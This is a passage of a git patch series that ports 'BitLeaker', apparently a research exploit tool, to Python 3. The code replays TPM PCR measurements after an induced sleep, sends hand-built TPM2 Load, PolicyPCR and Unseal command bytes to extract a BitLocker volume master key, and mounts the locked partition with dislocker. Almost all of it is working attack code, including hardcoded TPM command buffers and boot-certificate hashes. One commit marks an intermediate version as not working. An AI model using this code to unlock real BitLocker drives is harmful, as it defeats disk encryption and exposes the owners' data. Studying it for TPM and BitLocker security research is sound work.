tpm2-tools/src/tpm2_listpcrs -g 0x0b' % (tpm_library_path), shell=True, encoding='UTF-8') + output = subprocess.check_output('tpm2_pcrread sha256', shell=True, encoding='UTF-8') + else: + #output = subprocess.check_output('%s tpm2-tools/src/tpm2_listpcrs -g 0x04' % (tpm_library_path), shell=True, encoding='UTF-8') + output = subprocess.check_output('tpm2_pcrread sha1', shell=True, encoding='UTF-8') + return output + + # + # Replay PCR data to the TPM + # + def replay_logs(self): + self.info_print('Replay TPM data.\n') + + #self.start_rsrc_mgr() + + output = self.tpm_listpcrs() + print(output + '\n') + for pcr_data in self.logs: + self.info_print(' [>>] PCR %s, SHA1 = %s\n' % (pcr_data[0], pcr_data[1])) + output = self.tpm_extendpcr(pcr_data[0], pcr_data[1]) + print(output + '\n') + + # Last one for PCR #7 + last_hash = MicrosoftMaterial.sha256_bootmgfw_cert.value + if self._type == HashTypes.SHA1.value: + last_hash = MicrosoftMaterial.sha1_bootmgfw_cert.value + self.info_print(' [>>] Last PCR 7, SHA1 = %s\n' % (last_hash)) + output = self.tpm_extendpcr('7',last_hash) + output = self.tpm_listpcrs() + print(output + '\n') - if resourcemgr_found == False: - color_print('Fail\n', FAIL) + #self.stop_rsrc_mgr() + + # + # Prepare TPM data for unsealing VMK of BitLocker + # + def prepare_tpm_data(self, drive_path): + self.info_print('Preparing TPM data.\n') + self.info_print(' [>>] Get TPM-encoded blob from dislocker... ') + raw_data_list = get_raw_tpm_encoded_blob_from_dislocker(drive_path) + if raw_data_list == []: + print('BitLeaker: Error. %s is not BitLocker-locked partition\n' % drive_path) + sys.exit(-1) + self.color_print('Success\n', Color.SUCCESS) + + self.info_print(' [>>] Convert TPM-encoded blob to hex data... ') + hex_priv_pub, pcr_policy = extract_priv_pub_and_pcr_policy_from_raw_blob(raw_data_list) + self.color_print('Success\n', Color.SUCCESS) + self.info_print(' [>>] raw_data_list:\n%s,%d\n' % (raw_data_list, len(raw_data_list))) + self.info_print(' [>>] hex_priv:\n%s,%d\n' % (hex_priv_pub, len(hex_priv_pub))) + self.info_print(' [>>] pcr_policy:\n%s,%d\n' % (pcr_policy, len(pcr_policy))) + + # Prepare TPM1_Load data + self.info_print(' [>>] Create TPM1_Load data... ') + data = data_tpm1_load_header + hex_priv_pub + file = open('tpm1_load.bin', 'wb') + file.write(bytearray(data)) + file.close() + self.color_print('Success\n', Color.SUCCESS) + + # Prepare TPM1_StartSession data + self.info_print(' [>>] Create TPM1_StartSession data... ') + data = data_tpm1_startsession + file = open('tpm1_startsession.bin', 'wb') + file.write(bytearray(data)) + file.close() + self.color_print('Success\n', Color.SUCCESS) + + # Prepare TPM1_PolicyAuthorize data + self.info_print(' [>>] Create TPM1_PolicyAuthorize data... ') + data = data_tpm1_policyauthorize + file = open('tpm1_policyauthorize.bin', 'wb') + file.write(bytearray(data)) + file.close() + self.color_print('Success\n', Color.SUCCESS) + + # Prepare TPM1_PCRPolicy data + self.info_print(' [>>] Create TPM1_PolicyPCR data... ') + data1 = data_tpm1_pcrpolicy_header + pcr_policy[:len(pcr_policy) - 4] + data2 = data_tpm1_pcrpolicy_subheader + pcr_policy[len(pcr_policy) - 4:] + file = open('tpm1_policypcr.bin', 'wb') + file.write(bytearray(data1)) + file.write(bytearray(data2)) + file.close() + self.color_print('Success\n', Color.SUCCESS) + + # Prepare TPM1_Unseal data + self.info_print(' [>>] Create TPM1_Unseal data... ') + data = data_tpm1_unseal + file = open('tpm1_unseal.bin', 'wb') + file.write(bytearray(data)) + file.close() + self.color_print('Success\n\n', Color.SUCCESS) + + # + # Execute TPM1 command data for unsealing VMK + # + def execute_tpm_cmd_and_extract_vmk(self): + self.info_print('Execute TPM commands\n') + # Execute TPM1_Load command + self.info_print(' [>>] Execute TPM1_Load... ') + output = subprocess.check_output('sudo tpm2_send < tpm1_load.bin',shell=True,encoding='UTF-8') + #output = subprocess.getoutput('sudo %s ./tpm2-tools/src/tpm2_loadexternal -H n -u pubkey.bin -r privkey.bin' % tpm_library_path) + print(output) + if 'Fail' in output: + self.color_print(' [>>] Fail\n\n', Color.FAIL) + sys.exit(-1) + self.color_print(' [>>] Success\n\n', Color.SUCCESS) + sleep(2) + + # Execute TPM1_StartSession command + self.info_print(' [>>] Execute TPM1_StartSession... ') + output = subprocess.check_output('sudo tpm2_send < tpm1_startsession.bin',shell=True,encoding='UTF-8') + #output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_startsession.bin' % tpm_library_path) + print(output) + if 'Fail' in output: + self.color_print(' [>>] Fail\n\n', Color.FAIL) + sys.exit(-1) + self.color_print(' [>>] Success\n\n', Color.SUCCESS) + sleep(2) + + # Execute TPM1_PolicyAuthorize command + self.info_print(' [>>] Execute TPM1_PolicyAuthorize... ') + output = subprocess.check_output('sudo tpm2_send < tpm1_policyauthorize.bin',shell=True,encoding='UTF-8') + #output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_policyauthorize.bin' % tpm_library_path) + print(output) + if 'Fail' in output: + self.color_print(' [>>] Fail\n\n', Color.FAIL) sys.exit(-1) + self.color_print(' [>>] Success\n\n', Color.SUCCESS) + sleep(2) + + # Execute TPM1_PolicyPCR command + self.info_print(' [>>] Execute TPM1_PolicyPCR... ') + output = subprocess.check_output('sudo tpm2_send < tpm1_policypcr.bin',shell=True,encoding='UTF-8') + #output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_policypcr.bin' % tpm_library_path) + print(output) + if 'Fail' in output: + self.color_print(' [>>] Fail\n\n', Color.FAIL) + sys.exit(-1) + self.color_print(' [>>] Success\n\n', Color.SUCCESS) + sleep(2) + + # Execute TPM1_Unseal command + self.info_print(' [>>] Execute TPM1_Unseal... ') + output = subprocess.check_output('sudo tpm2_send < tpm1_unseal.bin',shell=True,encoding='UTF-8') + #output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_unseal.bin' % tpm_library_path) + print(output) + if 'Fail' in output: + self.color_print(' [>>] Fail\n\n', Color.FAIL) + sys.exit(-1) + self.color_print(' [>>] Success\n\n', Color.SUCCESS) + sleep(2) - color_print('Success\n', SUCCESS) - sleep(3) - return 0 + # Extract VMK from TPM result + vmk_data = extract_vmk_from_tpm_result(output.split('\n')) + return vmk_data -# -# Replay PCR data to the TPM -# -def replay_pcr_data(pcr_list): - info_print('Replay TPM data.\n') - check_and_run_resource_manager() - - output = subprocess.getoutput('%s tpm2-tools/src/tpm2_listpcrs -g 0x04' % (tpm_library_path)) - print(output + '\n') - for pcr_data in pcr_list: - info_print(' [>>] PCR %s, SHA1 = %s\n' % (pcr_data[0], pcr_data[1])) - output = subprocess.getoutput('%s tpm2-tools/src/tpm2_extendpcrs -g 0x04 -P %s -i %s' % (tpm_library_path, pcr_data[0], pcr_data[1])) - print(output + '\n') - - # Last one for PCR #7 - info_print(' [>>] Last PCR 7, SHA1 = %s\n' % (sha1_bootmgfw_cert)) - #info_print(' [>>] Last PCR 7, SHA1 = %s\n' % (sha256_bootmgfw_cert)) - #output = subprocess.getoutput('%s tpm2-tools/src/tpm2_extendpcrs -g 0x04 -P 4 -i %s' % (tpm_library_path, 'dbacc822c8778d9b40b862daf318cf718757123b')) - #print(output + '\n') - output = subprocess.getoutput('%s tpm2-tools/src/tpm2_extendpcrs -g 0x04 -P 7 -i %s' % (tpm_library_path, sha1_bootmgfw_cert)) - print(output + '\n') - #output = subprocess.getoutput('%s tpm2-tools/src/tpm2_extendpcrs -g 0x04 -P 4 -i %s' % (tpm_library_path, 'dbacc822c8778d9b40b862daf318cf718757123b')) - #print(output + '\n') - #output = subprocess.getoutput('%s tpm2-tools/src/tpm2_extendpcrs -g 0x04 -P 11 -i %s' % (tpm_library_path, '5497b0911b3f5772723def3b360a2e654327c19b')) - #print(output + '\n') - #output = subprocess.getoutput('%s tpm2-tools/src/tpm2_extendpcrs -g 0x04 -P 11 -i %s' % (tpm_library_path, '3a4072cc6b77e2639d4fdc91c91efc11bc3e33c3')) - #print(output + '\n') - - output = subprocess.getoutput('%s tpm2-tools/src/tpm2_listpcrs -g 0x04' % (tpm_library_path)) - print(output + '\n') - -# os.system('sudo killall resourcemgr') - # # Extract TPM encoded blob from Dislocker tool # @@ -350,9 +570,9 @@ def get_raw_tpm_encoded_blob_from_dislocker(drive_path): Thu Oct 10 15:01:04 2019 [DEBUG] 0x00000100 08 00 """ # Run Dislocker with debug mode - print("Library path: %s, drive_path %s\n" % (dislocker_library_path,drive_path)) - output = subprocess.getoutput('sudo %s dislocker/src/dislocker-metadata -v -v -v -v -V %s' % (dislocker_library_path, drive_path)).split('\n') - print("output = %s" % (output)) + #print("Library path: %s, drive_path %s\n" % (dislocker_library_path,drive_path)) + output = subprocess.getoutput('sudo %s dislocker-metadata -v -v -v -v -V %s' % (dislocker_library_path, drive_path)).split('\n') + #print("output = %s" % (output)) first_marker_found = 0 second_marker_found = 0 @@ -376,8 +596,8 @@ def get_raw_tpm_encoded_blob_from_dislocker(drive_path): # Extract private/public data and PCR policy # def extract_priv_pub_and_pcr_policy_from_raw_blob(raw_tpm_blob): - print("RAW TPM BLOB: ",end='') - print(raw_tpm_blob) + #print("RAW TPM BLOB: ",end='') + #print(raw_tpm_blob) hex_data = [] for line in raw_tpm_blob: line = line.replace('-', ' ') @@ -389,134 +609,10 @@ def extract_priv_pub_and_pcr_policy_from_raw_blob(raw_tpm_blob): print("hex_data:",end="") print(hex_data) - priv_pub = [int(hex_data[i], 16) for i in range(0, 0xc4)] - pcr_policy = [int(hex_data[i], 16) for i in range(0xc4, len(hex_data) - 1)] + priv_pub = [int(hex_data[i], 16) for i in range(0, len(hex_data)-(22+4))] + pcr_policy = [int(hex_data[i], 16) for i in range(len(hex_data)-(22+5), len(hex_data) - 1)] return(priv_pub, pcr_policy) -# -# Prepare TPM data for unsealing VMK of BitLocker -# -def prepare_tpm_data(drive_path): - info_print('Preparing TPM data.\n') - info_print(' [>>] Get TPM-encoded blob from dislocker... ') - raw_data_list = get_raw_tpm_encoded_blob_from_dislocker(drive_path) - if raw_data_list == []: - print('BitLeaker: Error. %s is not BitLocker-locked partition\n' % drive_path) - sys.exit(-1) - color_print('Success\n', SUCCESS) - - info_print(' [>>] Convert TPM-encoded blob to hex data... ') - hex_priv_pub, pcr_policy = extract_priv_pub_and_pcr_policy_from_raw_blob(raw_data_list) - color_print('Success\n', SUCCESS) - info_print(' [>>] raw_data_list:\n%s,%d\n' % (raw_data_list, len(raw_data_list))) - info_print(' [>>] hex_priv:\n%s,%d\n' % (hex_priv_pub, len(hex_priv_pub))) - info_print(' [>>] pcr_policy:\n%s,%d\n' % (pcr_policy, len(pcr_policy))) - - # Prepare TPM1_Load data - info_print(' [>>] Create TPM1_Load data... ') - data = data_tpm1_load_header + hex_priv_pub - file = open('tpm1_load.bin', 'wb') - file.write(bytearray(data)) - file.close() - color_print('Success\n', SUCCESS) - - # Prepare TPM1_StartSession data - info_print(' [>>] Create TPM1_StartSession data... ') - data = data_tpm1_startsession - file = open('tpm1_startsession.bin', 'wb') - file.write(bytearray(data)) - file.close() - color_print('Success\n', SUCCESS) - - # Prepare TPM1_PolicyAuthorize data - info_print(' [>>] Create TPM1_PolicyAuthorize data... ') - data = data_tpm1_policyauthorize - file = open('tpm1_policyauthorize.bin', 'wb') - file.write(bytearray(data)) - file.close() - color_print('Success\n', SUCCESS) - - # Prepare TPM1_PCRPolicy data - info_print(' [>>] Create TPM1_PolicyPCR data... ') - data1 = data_tpm1_pcrpolicy_header + pcr_policy[:len(pcr_policy) - 4] - data2 = data_tpm1_pcrpolicy_subheader + pcr_policy[len(pcr_policy) - 4:] - file = open('tpm1_policypcr.bin', 'wb') - file.write(bytearray(data1)) - file.write(bytearray(data2)) - file.close() - color_print('Success\n', SUCCESS) - - # Prepare TPM1_Unseal data - info_print(' [>>] Create TPM1_Unseal data... ') - data = data_tpm1_unseal - file = open('tpm1_unseal.bin', 'wb') - file.write(bytearray(data)) - file.close() - color_print('Success\n\n', SUCCESS) - -# -# Execute TPM1 command data for unsealing VMK -# -def execute_tpm_cmd_and_extract_vmk(): - info_print('Execute TPM commands\n') - - # Execute TPM1_Load command - info_print(' [>>] Execute TPM1_Load... ') -# check_and_run_resource_manager() - #output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_load.bin' % tpm_library_path) - output = subprocess.getoutput('sudo %s ./tpm2-tools/src/tpm2_loadexternal -H n -u pubkey.bin -r privkey.bin' % tpm_library_path) - print(output) - if 'Fail' in output: - color_print(' [>>] Fail\n\n', FAIL) - sys.exit(-1) - color_print(' [>>] Success\n\n', SUCCESS) - sleep(2) - - # Execute TPM1_StartSession command - info_print(' [>>] Execute TPM1_StartSession... ') - output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_startsession.bin' % tpm_library_path) - print(output) - if 'Fail' in output: - color_print(' [>>] Fail\n\n', FAIL) - sys.exit(-1) - color_print(' [>>] Success\n\n', SUCCESS) - sleep(2) - - # Execute TPM1_PolicyAuthorize command - info_print(' [>>] Execute TPM1_PolicyAuthorize... ') - output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_policyauthorize.bin' % tpm_library_path) - print(output) - if 'Fail' in output: - color_print(' [>>] Fail\n\n', FAIL) - sys.exit(-1) - color_print(' [>>] Success\n\n', SUCCESS) - sleep(2) - - # Execute TPM1_PolicyPCR command - info_print(' [>>] Execute TPM1_PolicyPCR... ') - output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_policypcr.bin' % tpm_library_path) - print(output) - if 'Fail' in output: - color_print(' [>>] Fail\n\n', FAIL) - sys.exit(-1) - color_print(' [>>] Success\n\n', SUCCESS) - sleep(2) - - # Execute TPM1_Unseal command - info_print(' [>>] Execute TPM1_Unseal... ') - output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_unseal.bin' % tpm_library_path) - print(output) - if 'Fail' in output: - color_print(' [>>] Fail\n\n', FAIL) - sys.exit(-1) - sys.exit(-1) - color_print(' [>>] Success\n\n', SUCCESS) - sleep(2) - - # Extract VMK from TPM result - vmk_data = extract_vmk_from_tpm_result(output.split('\n')) - return vmk_data - # # Extract VMK from TPM result # @@ -582,47 +678,34 @@ def mount_bitlocker_partition_with_vmk(drive_path, vmk_data): subprocess.getoutput('mkdir windows') info_print(' [>>] Mount BitLocker-Locked partition(%s)...\n\n' % drive_path) output = subprocess.getoutput('sudo dislocker -v -v -v -V %s -K vmk.bin -- ./windows' % drive_path) - print(output) + #print(output) output = subprocess.getoutput('sudo mount -o loop ./windows/dislocker-file ./windows') # # Main # if __name__ == '__main__': - # Show a banner - show_banner() - - # Searching for BitLocker-locked partitions - info_print('Search for BitLocker-locked partitions.\n') - - if len(sys.argv) != 2: - output = subprocess.getoutput('sudo fdisk -l 2>/dev/null | grep "Microsoft basic data"').split('\n') - if len(output) == 0: - color_print(' [>>] BitLocker-locked partition is not found.\n', FAIL) - info_print(' [>>] Please try with the explicit drive path. ./bitleaker.py \n') - sys.exit(-1) - - drive_path = output[0].split(' ')[0] - else: - drive_path = sys.argv[1] - - info_print(' [>>] BitLocker-locked partition is [%s]\n\n' % drive_path) - - # Prepare PCR data - #raw_data = read_canned_pcr_data("bitleaker-data.txt") - raw_data = prepare_pcr_data() - pcr_list = cut_and_extract_essential_pcr_data(raw_data) - replay_pcr_data(pcr_list) - + exploit = BitLeaker() + exploit.find_bitlocker_parition() + # + # NOTE: passing a filename to leak allows "canned" + # data use. + # + exploit.leak() + exploit.start_tpm() + exploit.process_pcr_logs() + + tpm = TPMInterface(exploit.logs(),type=exploit.type()) + print(tpm.Type()) + tpm.replay_logs() # Prepare TPM data and extract VMK ##f = open(filename,'wb') - ##prepare_tpm_data(drive_path) - ##vmk_data = execute_tpm_cmd_and_extract_vmk() + tpm.prepare_tpm_data(exploit.bitlocker_path()) + vmk_data = tpm.execute_tpm_cmd_and_extract_vmk() + ##f.write(hexlify(bytearray(vmk_data))) ##f.close() - os.system('sudo killall resourcemgr') - # # Mount BitLocker-locked partition with VMK # mount_bitlocker_partition_with_vmk(drive_path, vmk_data) From 5def5c109cf0e1a6d7fc702fe21907cf1290bccf Mon Sep 17 00:00:00 2001 From: Brandon Warhurst Date: Tue, 27 Oct 2020 16:04:46 -0400 Subject: [PATCH 5/7] Added .gitignore --- .gitignore | 1 + 1 file changed, 1 insertion(+) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..a8a0dce --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +*.bin From df339be2cea6566f4f1cea268dcbb0abc7894836 Mon Sep 17 00:00:00 2001 From: Brandon Warhurst Date: Tue, 27 Oct 2020 16:05:20 -0400 Subject: [PATCH 6/7] Updated bitleaker-3-v1.py -- not working. --- bitleaker-3-v1.py | 78 ++++++++++++++++++++++++++--------------------- 1 file changed, 44 insertions(+), 34 deletions(-) diff --git a/bitleaker-3-v1.py b/bitleaker-3-v1.py index afe3468..31846e3 100755 --- a/bitleaker-3-v1.py +++ b/bitleaker-3-v1.py @@ -170,16 +170,21 @@ def __init__(self,debug=False): # def doze(self): if self.module_loaded: - self.info_print('Entering sleep...\n') - self.info_print(' [>>] Press [Enter] to doze...') - input('') - subprocess.call(['sudo','rtcwake','--mode','mem','-s','5'], stdout=self.FNULL, stderr=self.FNULL) - self.info_print(' [<<] Concious...\n') - sleep(1) - return 1 + self.info_print('Entering sleep...\n') + self.info_print(' [>>] Press [Enter] to doze...') + input('') + subprocess.call(['sudo','rtcwake','--mode','mem','-s','5'], stdout=self.FNULL, stderr=self.FNULL) + self.info_print(' [<<] Concious...\n') + # Need this to set the stupid 'orderly' bit + self.info_print(' [<<] restoring TPM...\n) + self.manage_kernel_module('stop') + subprocess.call(['sudo','rtcwake','--mode','mem','-s','30'], stdout=self.FNULL, stderr=self.FNULL) + self.info_print(' [<<] Concious...\n') + sleep(1) + return 1 else: - self.color_print('BitLeaker module is not loaded.', Color.FAIL) - return 0 + self.color_print('BitLeaker module is not loaded.', Color.FAIL) + return 0 # # Collect the system logs containing the PCRs @@ -294,7 +299,7 @@ def manage_kernel_module(self, mode="start"): else: return False if mode == "stop" and self.module_loaded: try: - subprocess.check_call(['sudo','false','./bitleaker-kernel-module/bitleaker-kernel-module.ko']) + subprocess.check_call(['sudo','rmmod','bitleaker-kernel-module']) self.module_loaded = False except subprocess.CalledProcessError as e: self.color_print('Stop FAILED\n',Color.FAIL) @@ -421,6 +426,32 @@ def replay_logs(self): #self.stop_rsrc_mgr() + # + # Extract private/public data and PCR policy + # + def extract_priv_pub_and_pcr_policy_from_raw_blob(self, raw_tpm_blob): + #print("RAW TPM BLOB: ",end='') + #print(raw_tpm_blob) + if self.hash_type == HashTypes.SHA1.value: + hash_length = 20 + else: + hash_length = 32 + + hex_data = [] + for line in raw_tpm_blob: + line = line.replace('-', ' ') + line = line.replace(' ', ' ') + data_list = line.split(' ') + hex_data = hex_data + data_list[:-1] + + hex_data = hex_data[:] + + print("hex_data:",end="") + print(hex_data) + priv_pub = [int(hex_data[i], 16) for i in range(0, len(hex_data)-(hash_length+6))] + pcr_policy = [int(hex_data[i], 16) for i in range(len(hex_data)-(hash_length+7), len(hex_data))] + return(priv_pub, pcr_policy) + # # Prepare TPM data for unsealing VMK of BitLocker # @@ -434,7 +465,7 @@ def prepare_tpm_data(self, drive_path): self.color_print('Success\n', Color.SUCCESS) self.info_print(' [>>] Convert TPM-encoded blob to hex data... ') - hex_priv_pub, pcr_policy = extract_priv_pub_and_pcr_policy_from_raw_blob(raw_data_list) + hex_priv_pub, pcr_policy = self.extract_priv_pub_and_pcr_policy_from_raw_blob(raw_data_list) self.color_print('Success\n', Color.SUCCESS) self.info_print(' [>>] raw_data_list:\n%s,%d\n' % (raw_data_list, len(raw_data_list))) self.info_print(' [>>] hex_priv:\n%s,%d\n' % (hex_priv_pub, len(hex_priv_pub))) @@ -592,27 +623,6 @@ def get_raw_tpm_encoded_blob_from_dislocker(drive_path): return raw_data -# -# Extract private/public data and PCR policy -# -def extract_priv_pub_and_pcr_policy_from_raw_blob(raw_tpm_blob): - #print("RAW TPM BLOB: ",end='') - #print(raw_tpm_blob) - hex_data = [] - for line in raw_tpm_blob: - line = line.replace('-', ' ') - line = line.replace(' ', ' ') - data_list = line.split(' ') - hex_data = hex_data + data_list[:-1] - - hex_data = hex_data[:] - - print("hex_data:",end="") - print(hex_data) - priv_pub = [int(hex_data[i], 16) for i in range(0, len(hex_data)-(22+4))] - pcr_policy = [int(hex_data[i], 16) for i in range(len(hex_data)-(22+5), len(hex_data) - 1)] - return(priv_pub, pcr_policy) - # # Extract VMK from TPM result # @@ -692,7 +702,7 @@ def mount_bitlocker_partition_with_vmk(drive_path, vmk_data): # data use. # exploit.leak() - exploit.start_tpm() + #exploit.start_tpm() exploit.process_pcr_logs() tpm = TPMInterface(exploit.logs(),type=exploit.type()) @@ -701,7 +711,7 @@ def mount_bitlocker_partition_with_vmk(drive_path, vmk_data): # Prepare TPM data and extract VMK ##f = open(filename,'wb') tpm.prepare_tpm_data(exploit.bitlocker_path()) - vmk_data = tpm.execute_tpm_cmd_and_extract_vmk() + #vmk_data = tpm.execute_tpm_cmd_and_extract_vmk() ##f.write(hexlify(bytearray(vmk_data))) ##f.close() From b76b384e658be3dea1f1d0db9c619b858c666331 Mon Sep 17 00:00:00 2001 From: Brandon Warhurst Date: Tue, 27 Oct 2020 16:06:50 -0400 Subject: [PATCH 7/7] bitleaker converted to python3 and updated for SHA1/SHA256 --- bitleaker-3-v1.py | 225 ++++++++++++++++++++++++---------------------- 1 file changed, 117 insertions(+), 108 deletions(-) diff --git a/bitleaker-3-v1.py b/bitleaker-3-v1.py index 31846e3..517e179 100755 --- a/bitleaker-3-v1.py +++ b/bitleaker-3-v1.py @@ -19,26 +19,26 @@ from time import sleep -tpm_device="device:/dev/tpm0" tpm_library_path = "LD_LIBRARY_PATH=tpm2-tools/src/.libs:TPM2.0-TSS/tcti/.libs:TPM2.0-TSS/sysapi/.libs" dislocker_library_path = "LD_LIBRARY_PATH=dislocker/build/src" +my_env=[] + # # TPM data for unseal VMK of BitLocker # -data_tpm2_load_header = [0x80, 0x02, 0x00, 0x00, 0x00, 0xf7, 0x00, 0x00, 0x01, 0x57, 0x81, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x40, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00] -data_tpm1_load_header = [0x80, 0x02, 0x00, 0x00, 0x00, 0xdf, 0x00, 0x00, 0x01, 0x57, 0x81, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x40, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00] -data_tpm2_startsession = [0x80, 0x01, 0x00, 0x00, 0x00, 0x3b, 0x00, 0x00, 0x01, 0x76, 0x40, 0x00, 0x00, 0x07, 0x40, 0x00, 0x00, 0x07, 0x00, 0x20, 0xe3, 0x4c, 0xe2, 0xd5, 0x48, 0x7f, 0x73, 0x97, 0xb2, 0x8d, 0xb4, 0xe7, 0x93, 0xde, 0x4c, 0x36, 0x91, 0x8a, 0xa5, 0x1f, 0x3b, 0x48, 0x0c, 0x1f, 0x7f, 0x75, 0x79, 0xc5, 0xee, 0xfa, 0xa9, 0x83, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x0b] -data_tpm1_startsession = [0x80, 0x01, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x01, 0x76, 0x40, 0x00, 0x00, 0x07, 0x40, 0x00, 0x00, 0x07, 0x00, 0x14, 0x30, 0xb9, 0xbd, 0x22, 0x3d, 0x3c, 0x38, 0x95, 0x3d, 0x85, 0x9c, 0xf1, 0x3b, 0xf7, 0xcb, 0xca, 0x88, 0x7a, 0x26, 0x49, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x04] +data_tpm2_load256_header = [0x80, 0x02, 0x00, 0x00, 0x00, 0xf7, 0x00, 0x00, 0x01, 0x57, 0x81, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x40, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00] +data_tpm2_load1_header = [0x80, 0x02, 0x00, 0x00, 0x00, 0xdf, 0x00, 0x00, 0x01, 0x57, 0x81, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x40, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00] +data_tpm2_startsession256 = [0x80, 0x01, 0x00, 0x00, 0x00, 0x3b, 0x00, 0x00, 0x01, 0x76, 0x40, 0x00, 0x00, 0x07, 0x40, 0x00, 0x00, 0x07, 0x00, 0x20, 0xe3, 0x4c, 0xe2, 0xd5, 0x48, 0x7f, 0x73, 0x97, 0xb2, 0x8d, 0xb4, 0xe7, 0x93, 0xde, 0x4c, 0x36, 0x91, 0x8a, 0xa5, 0x1f, 0x3b, 0x48, 0x0c, 0x1f, 0x7f, 0x75, 0x79, 0xc5, 0xee, 0xfa, 0xa9, 0x83, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x0b] +data_tpm2_startsession1 = [0x80, 0x01, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x01, 0x76, 0x40, 0x00, 0x00, 0x07, 0x40, 0x00, 0x00, 0x07, 0x00, 0x14, 0x30, 0xb9, 0xbd, 0x22, 0x3d, 0x3c, 0x38, 0x95, 0x3d, 0x85, 0x9c, 0xf1, 0x3b, 0xf7, 0xcb, 0xca, 0x88, 0x7a, 0x26, 0x49, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x04] data_tpm2_policyauthorize = [0x80, 0x01, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x01, 0x6b, 0x03, 0x00, 0x00, 0x00] -data_tpm1_policyauthorize = [0x80, 0x01, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x01, 0x6b, 0x03, 0x00, 0x00, 0x00] -data_tpm2_pcrpolicy_header = [0x80, 0x01, 0x00, 0x00, 0x00, 0x3a, 0x00, 0x00, 0x01, 0x7f, 0x03, 0x00, 0x00, 0x00] -data_tpm1_pcrpolicy_header = [0x80, 0x01, 0x00, 0x00, 0x00, 0x2e, 0x00, 0x00, 0x01, 0x7f, 0x03, 0x00, 0x00, 0x00] -data_tpm2_pcrpolicy_subheader = [0x00, 0x00, 0x00, 0x01, 0x00, 0x0b] -data_tpm1_pcrpolicy_subheader = [0x00, 0x00, 0x00, 0x01, 0x00, 0x04] +data_tpm2_pcrpolicy_header256 = [0x80, 0x01, 0x00, 0x00, 0x00, 0x3a, 0x00, 0x00, 0x01, 0x7f, 0x03, 0x00, 0x00, 0x00] +data_tpm2_pcrpolicy_header1 = [0x80, 0x01, 0x00, 0x00, 0x00, 0x2e, 0x00, 0x00, 0x01, 0x7f, 0x03, 0x00, 0x00, 0x00] +data_tpm2_pcrpolicy_subheader256 = [0x00, 0x00, 0x00, 0x01, 0x00, 0x0b] +data_tpm2_pcrpolicy_subheader1 = [0x00, 0x00, 0x00, 0x01, 0x00, 0x04] data_tpm2_unseal = [0x80, 0x02, 0x00, 0x00, 0x00, 0x1b, 0x00, 0x00, 0x01, 0x5e, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] -data_tpm1_unseal = [0x80, 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x01, 0x5e, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] +data_tpm2_unseal1= [0x80, 0x02, 0x00, 0x00, 0x00, 0x1b, 0x00, 0x00, 0x01, 0x5e, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] class Color(Enum): # @@ -68,9 +68,9 @@ class HashTypes(Enum): SHA1 = 'SHA1' class MicrosoftMaterial(Enum): - # SHA256 of bootmgfw.efi certificate, it is used for PCR #7 (TCG 2.0) + # SHA256 of bootmgfw.efi certificate, it is used for PCR #7 (TCG 2.0 SHA256) sha256_bootmgfw_cert = '30bf464ee37f1bc0c7b1a5bf25eced275347c3ab1492d5623ae9f7663be07dd5' - # SHA1 of bootmgfw.efi certificate, it is used for PCR #7 (TCG 1.2) + # SHA1 of bootmgfw.efi certificate, it is used for PCR #7 (TCG 2.0 SHA1) sha1_bootmgfw_cert = '9fc713b7248d99a1a0db3d50c14eb9b4ff270721' class Display: @@ -173,18 +173,24 @@ def doze(self): self.info_print('Entering sleep...\n') self.info_print(' [>>] Press [Enter] to doze...') input('') - subprocess.call(['sudo','rtcwake','--mode','mem','-s','5'], stdout=self.FNULL, stderr=self.FNULL) + subprocess.call(['rtcwake','--mode','mem','-s','5'], stdout=self.FNULL, stderr=self.FNULL) self.info_print(' [<<] Concious...\n') # Need this to set the stupid 'orderly' bit - self.info_print(' [<<] restoring TPM...\n) + self.info_print(' [<<] restoring TPM...\n') self.manage_kernel_module('stop') - subprocess.call(['sudo','rtcwake','--mode','mem','-s','30'], stdout=self.FNULL, stderr=self.FNULL) - self.info_print(' [<<] 